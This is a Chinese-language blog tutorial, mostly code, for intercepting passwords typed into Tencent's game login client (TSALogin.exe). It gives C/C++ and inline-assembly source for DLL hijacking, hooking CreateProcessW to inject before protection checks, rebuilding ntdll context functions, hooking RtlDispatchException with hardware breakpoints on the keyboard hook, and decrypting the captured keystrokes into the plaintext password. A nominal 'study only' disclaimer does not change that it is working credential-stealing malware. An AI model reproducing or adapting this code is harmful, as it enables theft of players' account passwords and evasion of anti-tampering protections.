【高清有码】TX游戏登陆密码截取

Home / Article MrLee 2016-4-11 4040

本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担。
此文重点:
?1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂)
2、安装消息勾子,判断当前输入焦点
3、自己构造ZwSetContextThread,和ZwGetContextThread
4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码
5、实现解密
1、构造rasadhlp.dll,可以使用看雪的dll劫持生成工具,生成代码,我忘了是哪位大神的了,先借用一下,等会上传到附件 因为TSALogin.exe是用登陆器打开的,所以只要在登陆器中做手脚就能注入TSALogin.exe,把劫持dll放到与登陆器相同目录,登陆器打开的时候,就会加载劫持dll。劫持dll再加载工作dll,然后工作dll中再做一些工作(请继续往下看)
unsigned int  WINAPI _WorkThread(void * lpPram)
{
  TCHAR tcWorkDll[MAX_PATH];
  GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH);
  *( _tcsrchr(g_tcExeDir,'\\') +1 )=0;
  _stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll"));
  hTestModule=LoadLibrary(tcWorkDll);
  return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
           )
{
  if (ul_reason_for_call == DLL_PROCESS_ATTACH)
  {//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等
    if(IsSpecifyProcessName(_T("tgp_daemon.exe")))
    {
      hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL);
    }
    using namespace AheadLib;
    return Load();
  }
  else if (ul_reason_for_call == DLL_PROCESS_DETACH)
  {
    using namespace AheadLib;
    Free();
  }
  return TRUE;
}

2、工作dll(tencent_Login.dll),Hook?CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测
BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
  )
{
  BOOL bRet =FALSE;
  CHAR tcText[MAX_PATH];
  if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) )
  {
    GetModuleFileNameA(g_hMod,tcText,MAX_PATH);
    return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
      bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess);
  }
  return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
    bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
}
void StartWork()
{
  
  DetourTransactionBegin();
  DetourUpdateThread(GetCurrentThread());
  TCHAR tcText[100];
  TCHAR  lpProcessName[50]={0} ;
  _tcscpy_s(lpProcessName, GetCurProcessName().c_str());
  if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) )
  {
    DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess);  //HOOK CreateProcess,实现完美注入TSALogin.exe
  }
  if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) )
  {
    DWORD dwOldProtect;
    //自己构造  ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的
    ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread");
    ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread");
    ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr);
    ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr);
    VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
    VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
    *(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9;
    *(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9;
    *(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5;
    *(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread  -(DWORD)g_ZwSetContextThreadZone -5;
    /*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone);
    OutputDebugString(tcText);*/
    //Hook RtlDispatchException
    ProcessDispatchException(); //设置硬件断点,监视键盘输入
    g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId());
    OutputDebugString(_T("TSALogin.exe注入成功"));
  }
  DetourTransactionCommit();
}
extern void StartWork();
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
           )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    g_hMod=hModule;
    StartWork();
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

3、设置硬件断点监视键盘输入,?众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现?加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook?RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
BOOL RtlDispatchException(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext)
{
  //好了,重点来了,因为要跳回去执行,所以必须先还原Ebp,Esp,否则将会出错
  //g_dwExceptionAddr 这个地址就是游戏的低层键盘勾子函数入口,在这个地方能获取到当前键盘的输入
  //把参数提取出来,传给FilterLowLevelMouseProc函数,进行过滤处理
  if( pExcptRec->ExceptionAddress == (VOID*)g_dwExceptionAddr )
  {
    g_dwEbp = pContext->Ebp;
    g_dwEsp=pContext->Esp;
    g_dwJmpAddr =pContext->Eip+5;
    __asm 
    {
      mov ebp,g_dwEbp;  //首先要还原执行环境,就是说还原成执行g_dwExceptionAddr这个地址函数之前的环境
      mov esp,g_dwEsp;
       
      push ebp;         //手动构造栈空间
      mov ebp,esp;
      push [ebp+0x10];  //这3个参数是需要的,注意压栈顺序
      push [ebp+0xC];
      push [ebp+0x8];
      call FilterLowLevelMouseProc;
      mov esp,ebp;   //还原栈空间了
      pop ebp;
    
      //这个地方不能改变,因为游戏就是这样子做的,如果变了,就没有加密虚键码了,用户就会登陆失败
      push 0x99354893;
      jmp g_dwJmpAddr;
    }
    return TRUE;
  }
  return FALSE;
}ULONG WINAPI _RtlDispatchException( PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext )
{
  ULONG uRet = 0;
  if(RtlDispatchException(pExcptRec,pContext)) 
    uRet= 1;
  else
      uRet= m_fnRtlDispatchException(pExcptRec,pContext);
  return uRet;
}
void ProcessDispatchException()
{
  TCHAR tcText[100];
  DWORD dwOldProtect;
  DWORD dwKiUserExceptionDispatcher=(DWORD)::GetProcAddress(::GetModuleHandle(_T("ntdll")),"KiUserExceptionDispatcher");
  _stprintf_s(tcText,_T("dwKiUserExceptionDispatcher = 0x%x"),dwKiUserExceptionDispatcher);
  OutputDebugString(tcText);
  VirtualProtect((VOID*)dwKiUserExceptionDispatcher,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);
  if (dwKiUserExceptionDispatcher)
  {
    while (*(BYTE*)dwKiUserExceptionDispatcher!=0xE8)
      dwKiUserExceptionDispatcher++;  //XP~Win7正常,Win8尚无缘得见
    m_fnRtlDispatchException=(pfnRtlDispatchException)((*(DWORD *)(dwKiUserExceptionDispatcher+1))+5+(DWORD)dwKiUserExceptionDispatcher);  //得到原函数地址
    //Hook
    DWORD dwNewAddr=(DWORD)_RtlDispatchException-(DWORD)dwKiUserExceptionDispatcher-5;                
    WriteProcessMemory((HANDLE)-1,(void*)(dwKiUserExceptionDispatcher+1),(BYTE *)&dwNewAddr,4,nullptr); 
  }
}

4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了?0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
bool bPlainCase =true;
int  g_Key =0;
void  WINAPI FilterLowLevelMouseProc(
  _In_  int nCode,
  _In_  WPARAM wParam,
  _In_  LPARAM lParam
  )
{
   if(nCode == HC_ACTION)
   {
     PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam;
     if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) )
     {
       if( ::GetFocus() == g_hPwd )  //判断是不是在输入密码
       {
         if( bPlainCase )  //第一次来的是原始虚键码
         {
           if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )  //小键盘的0-9,由于这几个键产生的字符是不能直接获取虚键码的,所以转换成主键盘区的0-9
             pKdb->vkCode -=48;
           
           g_Key=pKdb->vkCode;
           bPlainCase=false; 
         }else  //加密的虚键码了
         {
           if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
             pKdb->vkCode -=48;
           SetKeyPair(pKdb->vkCode,g_Key);  //用std::来保存密码键对,
           bPlainCase=true;
         }
       }
     }
   }
}

5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
LRESULT CALLBACK GetMsgProc(__in  int code,__in  WPARAM wParam,__in  LPARAM lParam
  )
{
  if( code == HC_ACTION )
  {
    MSG * pMsg =(MSG*)lParam;
    LONG dwStyle = GetWindowLong(pMsg->hwnd,GWL_STYLE);
    if( !g_hPwd &&  
      dwStyle & ES_PASSWORD &&
      !( dwStyle&ES_MULTILINE) )
    {
      g_hPwd=pMsg->hwnd;
    }
    if( !g_hKeyboardHook && ::GetFocus() == g_hPwd)
    {
      if( GetModuleHandle(_T("fszwd.dat")) )
        SetMintor();
    }
    if( pMsg->message ==WM_CHAR )  //用户输入的字符(已加密)
    {
      TCHAR tcTetxt[50]={0};
      SHORT sVk=0;
      SHORT sOrgVk=0;
      if( IsCharNeed(pMsg->wParam) && ::GetFocus() ==g_hPwd  )  //同样判断是不是在输入密码
      {
        if( pMsg->wParam >='A' && pMsg->wParam <= 'Z' )    //大写的字母不能直接翻译成虚键码
          sVk =  VkKeyScan(pMsg->wParam+0x20);
        else 
          sVk = VkKeyScan(pMsg->wParam); 
        sOrgVk = GetPlainVkcode(sVk);   //通过加密虚键码获取到原始虚键码,前面已经保存了虚键码对,所以现在直接可以取出来用了
        if( sOrgVk )  //解密
        {
          _stprintf_s(tcTetxt,_T("ascii码:%d,解密的字符:%c"),pMsg->wParam ,pMsg->wParam + sOrgVk - sVk);
        }else
          _stprintf_s(tcTetxt,_T("ascii码:%d,未解密的字符:%c"),pMsg->wParam ,pMsg->wParam);
        
      }else
      {
        _stprintf_s(tcTetxt,_T("没有加密的字符:%c"),pMsg->wParam);
      }
      OutputDebugString(tcTetxt);
    }
  }
  return CallNextHookEx(0,code,wParam,lParam);
}

到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下 梦无极,硬件断点?hook的思路是从他的过驱动保护教程教程里面学习的 yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,
欢迎各位朋友加我交流技术?QQ:1536854253

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